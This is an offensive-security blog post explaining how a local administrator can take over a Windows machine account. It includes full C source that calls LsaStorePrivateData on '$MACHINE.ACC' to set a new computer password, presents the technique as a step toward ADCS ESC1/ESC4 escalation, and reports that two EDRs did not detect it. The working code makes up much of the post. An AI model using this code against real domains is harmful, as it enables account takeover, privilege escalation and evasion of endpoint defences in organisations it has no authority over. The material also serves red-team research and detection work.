Machine Account Takeover with LsaStorePrivateData()
16.08.2025 ยท dadevel
Yesterday I stumbled upon an old tweet from @Oddvarmoe.
In it, he described that a local admin can use the built-in ksetup.exe
to change the password of the machine account.
This only takes effect after a reboot, but it got me thinking.
Sometimes, you are local admin and need control over a computer account, for example as a precondition for ADCS ESC1 or ESC4.
The obvious solutions would include elevating to system or dumping LSA, i.e. extracting the computer password from the registry.
But, depending on how you do it, an EDR won't like it.
So, how about setting a new password instead?
With that idea in mind, I wanted to figure out how ksetup.exe
changes the machine password.
As a first step I looked at the events that were captured by ProcMon.
While I didn't see much, I did notice operations on various LSA and RPC-related registry keys.
Next, I threw ksetup.exe
into Ghidra.
After acquiring symbols for the executable, I found a function called SetMachinePassword
, which sounded rather promising.
Thankfully, the function was easy to understand.
The documentation of LsaOpenPolicy and LsaStorePrivateData answered my remaining questions.
This resulted in the following reimplementation:
#include <windows.h>
#include <winternl.h>
#include <ntsecapi.h>
// x86_64-w64-mingw32-gcc -Wall -Wextra -pedantic -O2 ./ksetup.c -o ./ksetup.exe -static -lntdll -municode
struct LSA_OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
LSA_UNICODE_STRING* ObjectName;
ULONG Attributes;
VOID* SecurityDescriptor;
VOID* SecurityQualityOfService;
};
int wmain(int argc, wchar_t* argv[]) {
if (argc != 2) return 1;
wchar_t* password = argv[1];
NTSTATUS status;
LSA_OBJECT_ATTRIBUTES attrs = {};
LSA_HANDLE handle = nullptr;
status = LsaOpenPolicy(nullptr, &attrs, 0, &handle);
if (status) return status;
LSA_UNICODE_STRING keyName;
LSA_UNICODE_STRING privateData;
RtlInitUnicodeString((UNICODE_STRING*) &keyName, L"$MACHINE.ACC");
RtlInitUnicodeString((UNICODE_STRING*) &privateData, password);
status = LsaStorePrivateData(handle, &keyName, &privateData);
if (status) return status;
return 0;
}
After some fighting with MinGW, it actually worked :D
And the two EDRs I tested against did not blink an eye.
Bonus
While testing my implementation, I noticed something strange. After the new password took effect, the old password kept working for a while, but only for NTLM authentication. It's new to me that an account can have multiple valid passwords at the same time.
Update: It turns out that this is documented behaviour. Thanks to @filip_dragovic for the link.